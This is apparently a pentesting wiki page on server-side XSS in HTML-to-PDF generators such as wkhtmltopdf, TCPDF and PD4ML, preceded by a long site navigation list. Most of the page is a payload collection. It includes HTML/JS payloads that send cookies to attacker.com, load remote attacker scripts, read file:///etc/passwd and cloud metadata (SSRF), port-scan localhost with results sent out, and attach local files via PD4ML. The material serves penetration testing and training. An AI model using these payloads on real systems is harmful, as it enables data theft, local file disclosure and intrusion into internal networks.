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Generic Methodologies & Resources

Pentesting Methodology


External Recon Methodology



Pentesting Network



Pentesting Wifi



Phishing Methodology



Basic Forensic Methodology



Brute Force - CheatSheet


Python Sandbox Escape & Pyscript



Exfiltration


Tunneling and Port Forwarding


Threat Modeling


Search Exploits


Shells (Linux, Windows, MSFVenom)
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Linux Hardening

Checklist - Linux Privilege Escalation


Linux Privilege Escalation



Useful Linux Commands


Bypass Linux Restrictions



Linux Environment Variables


Linux Post-Exploitation



FreeIPA Pentesting
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MacOS Hardening

macOS Security & Privilege Escalation



macOS Red Teaming



macOS Useful Commands


macOS Auto Start
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Windows Hardening

Checklist - Local Windows Privilege Escalation


Windows Local Privilege Escalation



Active Directory Methodology



Windows Security Controls



NTLM



Lateral Movement



Pivoting to the Cloud



Stealing Windows Credentials



Basic Win CMD for Pentesters


Basic PowerShell for Pentesters



Antivirus (AV) Bypass
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Mobile Pentesting

Android APK Checklist


Android Applications Pentesting
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iOS Pentesting
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Xamarin Apps
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Network Services Pentesting
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Pentesting Printers



Pentesting SAP


Pentesting VoIP



Pentesting Remote GdbServer


7/tcp/udp - Pentesting Echo
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53 - Pentesting DNS


69/UDP TFTP/Bittorrent-tracker
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110,995 - Pentesting POP
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500/udp - Pentesting IPsec/IKE VPN


502 - Pentesting Modbus


512 - Pentesting Rexec


513 - Pentesting Rlogin


514 - Pentesting Rsh


515 - Pentesting Line Printer Daemon (LPD)


548 - Pentesting Apple Filing Protocol (AFP)


554,8554 - Pentesting RTSP


623/UDP/TCP - IPMI


631 - Internet Printing Protocol(IPP)


873 - Pentesting Rsync


1026 - Pentesting Rusersd


1080 - Pentesting Socks


1098/1099/1050 - Pentesting Java RMI - RMI-IIOP


1414 - Pentesting IBM MQ


1433 - Pentesting MSSQL - Microsoft SQL Server



1521,1522-1529 - Pentesting Oracle TNS Listener


1723 - Pentesting PPTP


1883 - Pentesting MQTT (Mosquitto)


2049 - Pentesting NFS Service


2301,2381 - Pentesting Compaq/HP Insight Manager


2375, 2376 Pentesting Docker


3128 - Pentesting Squid


3260 - Pentesting ISCSI


3299 - Pentesting SAPRouter


3306 - Pentesting Mysql


3389 - Pentesting RDP


3632 - Pentesting distcc


3690 - Pentesting Subversion (svn server)


3702/UDP - Pentesting WS-Discovery


4369 - Pentesting Erlang Port Mapper Daemon (epmd)


4786 - Cisco Smart Install


4840 - OPC Unified Architecture


5000 - Pentesting Docker Registry


5353/UDP Multicast DNS (mDNS) and DNS-SD


5432,5433 - Pentesting Postgresql


5439 - Pentesting Redshift


5555 - Android Debug Bridge


5601 - Pentesting Kibana


5671,5672 - Pentesting AMQP


5800,5801,5900,5901 - Pentesting VNC


5984,6984 - Pentesting CouchDB


5985,5986 - Pentesting WinRM


5985,5986 - Pentesting OMI


6000 - Pentesting X11


6379 - Pentesting Redis


8009 - Pentesting Apache JServ Protocol (AJP)


8086 - Pentesting InfluxDB


8089 - Pentesting Splunkd


8333,18333,38333,18444 - Pentesting Bitcoin


9000 - Pentesting FastCGI


9001 - Pentesting HSQLDB


9042/9160 - Pentesting Cassandra


9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)


9200 - Pentesting Elasticsearch


10000 - Pentesting Network Data Management Protocol (ndmp)


11211 - Pentesting Memcache



15672 - Pentesting RabbitMQ Management


24007,24008,24009,49152 - Pentesting GlusterFS


27017,27018 - Pentesting MongoDB


44134 - Pentesting Tiller (Helm)


44818/UDP/TCP - Pentesting EthernetIP


47808/udp - Pentesting BACNet


50030,50060,50070,50075,50090 - Pentesting Hadoop
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Pentesting Web

Web Vulnerabilities Methodology
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Account Takeover


Browser Extension Pentesting Methodology



Bypass Payment Process


Captcha Bypass


Cache Poisoning and Cache Deception


Clickjacking


Client Side Template Injection (CSTI)


Client Side Path Traversal


Command Injection


Content Security Policy (CSP) Bypass



Cookies Hacking



CORS - Misconfigurations & Bypass


CRLF (%0D%0A) Injection


CSRF (Cross Site Request Forgery)


Dangling Markup - HTML scriptless injection



Dependency Confusion


Deserialization
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Email Injections


File Inclusion/Path traversal



File Upload



Formula/CSV/Doc/LaTeX/GhostScript Injection


gRPC-Web Pentest


HTTP Connection Contamination


HTTP Connection Request Smuggling


HTTP Request Smuggling / HTTP Desync Attack



HTTP Response Smuggling / Desync


Upgrade Header Smuggling


hop-by-hop headers


IDOR


Integer Overflow


JWT Vulnerabilities (Json Web Tokens)


LDAP Injection


Login Bypass



NoSQL injection


OAuth to Account takeover


Open Redirect
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PostMessage Vulnerabilities
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XSSI (Cross-Site Script Inclusion)


XS-Search/XS-Leaks
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Cloud Security

Pentesting Kubernetes



Pentesting Cloud (AWS, GCP, Az...)



Pentesting CI/CD (Github, Jenkins, Terraform...)
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Hardware/Physical Access

Physical Attacks


Escaping from KIOSKs


Firmware Analysis
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Reversing & Exploiting

Reversing Tools & Basic Methods



Common API used in Malware


Word Macros
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Exploiting Tools



Windows Exploiting (Basic Guide - OSCP lvl)
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Cryptographic/Compression Algorithms
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Electronic Code Book (ECB)


Hash Length Extension Attack
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Stego Tricks
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Salseo
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Cobalt Strike
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Server Side XSS (Dynamic PDF)










If a web page is creating a PDF using user controlled input, you can try to trick the bot that is creating the PDF into executing arbitrary JS code.
So, if the PDF creator bot finds some kind of HTML tags, it is going to interpret them, and you can abuse this behaviour to cause a Server XSS.









Please, notice that the <script></script> tags don't work always, so you will need a different method to execute JS (for example, abusing <img ).
Also, note that in a regular exploitation you will be able to see/download the created pdf, so you will be able to see everything you write via JS (using document.write() for example). But, if you cannot see the created PDF, you will probably need extract the information making web request to you (Blind).










Popular PDF generation











	
wkhtmltopdf is known for its ability to convert HTML and CSS into PDF documents, utilizing the WebKit rendering engine. This tool is available as an open-source command line utility, making it accessible for a wide range of applications.







	
TCPDF offers a robust solution within the PHP ecosystem for PDF generation. It is capable of handling images, graphics, and encryption, showcasing its versatility for creating complex documents.







	
For those working in a Node.js environment, PDFKit presents a viable option. It enables the generation of PDF documents directly from HTML and CSS, providing a bridge between web content and printable formats.







	
Java developers might prefer iText, a library that not only facilitates PDF creation but also supports advanced features like digital signatures and form filling. Its comprehensive feature set makes it suitable for generating secure and interactive documents.







	
FPDF is another PHP library, distinguished by its simplicity and ease of use. It's designed for developers looking for a straightforward approach to PDF generation, without the need for extensive features.

















Payloads











Discovery












<!-- Basic discovery, Write somthing-->




<img src="x" onerror="document.write('test')" />




<script>document.write(JSON.stringify(window.location))</script>




<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>









<!--Basic blind discovery, load a resource-->




<img src="http://attacker.com"/>




<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">




<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>




<link rel=attachment href="http://attacker.com">


















SVG










Any of the previous of following payloads may be used inside this SVG payload. One iframe accessing Burpcollab subdomain and another one accessing the metadata endpoint are put as examples.











<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">




    <g>




        <foreignObject width="800" height="500">




            <body xmlns="http://www.w3.org/1999/xhtml">




                <iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>




                <iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>




            </body>




        </foreignObject>




    </g>




</svg>














<svg width="100%" height="100%" viewBox="0 0 100 100"




     xmlns="http://www.w3.org/2000/svg">




  <circle cx="50" cy="50" r="45" fill="green"




          id="foo"/>




  <script type="text/javascript">




    // <![CDATA[




      alert(1);




   // ]]>




  </script>




</svg>

















You can find a lot other SVG payloads in https://github.com/allanlw/svg-cheatsheet










Path disclosure












<!-- If the bot is accessing a file:// path, you will discover the internal path




if not, you will at least have wich path the bot is accessing -->




<img src="x" onerror="document.write(window.location)" />




<script> document.write(window.location) </script>


















Load an external script










The best conformable way to exploit this vulnerability is to abuse the vulnerability to make the bot load a script you control locally. Then, you will be able to change the payload locally and make the bot load it with the same code every time.











<script src="http://attacker.com/myscripts.js"></script>




<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>


















Read local file / SSRF











Change file:///etc/passwd for http://169.254.169.254/latest/user-data for example to try to access an external web page (SSRF).




If SSRF is allowed, but you cannot reach an interesting domain or IP, check this page for potential bypasses.

















<script>




x=new XMLHttpRequest;




x.onload=function(){document.write(btoa(this.responseText))};




x.open("GET","file:///etc/passwd");x.send();




</script>



















<script>




    xhzeem = new XMLHttpRequest();




    xhzeem.onload = function(){document.write(this.responseText);}




    xhzeem.onerror = function(){document.write('failed!')}




    xhzeem.open("GET","file:///etc/passwd");




    xhzeem.send();




</script>



















<iframe src=file:///etc/passwd></iframe>




<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>




<link rel=attachment href="file:///root/secret.txt">




<object data="file:///etc/passwd">




<portal src="file:///etc/passwd" id=portal>




<embed src="file:///etc/passwd>" width="400" height="400">




<style><iframe src="file:///etc/passwd"> 




<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500




<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />



















<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />


















Bot delay












<!--Make the bot send a ping every 500ms to check how long does the bot wait-->




<script>




    let time = 500;




    setInterval(()=>{




        let img = document.createElement("img");




        img.src = `https://attacker.com/ping?time=${time}ms`;




        time += 500;




    }, 500);




</script>




<img src="https://attacker.com/delay">


















Port Scan












<!--Scan local port and receive a ping indicating which ones are found-->




<script>




const checkPort = (port) => {




    fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {




        let img = document.createElement("img");




        img.src = `http://attacker.com/ping?port=${port}`;




    });




}









for(let i=0; i<1000; i++) {




    checkPort(i);




}




</script>




<img src="https://attacker.com/startingScan">


















SSRF










This vulnerability can be transformed very easily in a SSRF (as you can make the script load external resources). So just try to exploit it (read some metadata?).










Attachments: PD4ML










There are some HTML 2 PDF engines that allow to specify attachments for the PDF, like PD4ML. You can abuse this feature to attach any local file to the PDF.
To open the attachment I opened the file with Firefox and double clicked the Paperclip symbol to store the attachment as a new file.
Capturing the PDF response with burp should also show the attachment in cleat text inside the PDF.











<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->




<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>
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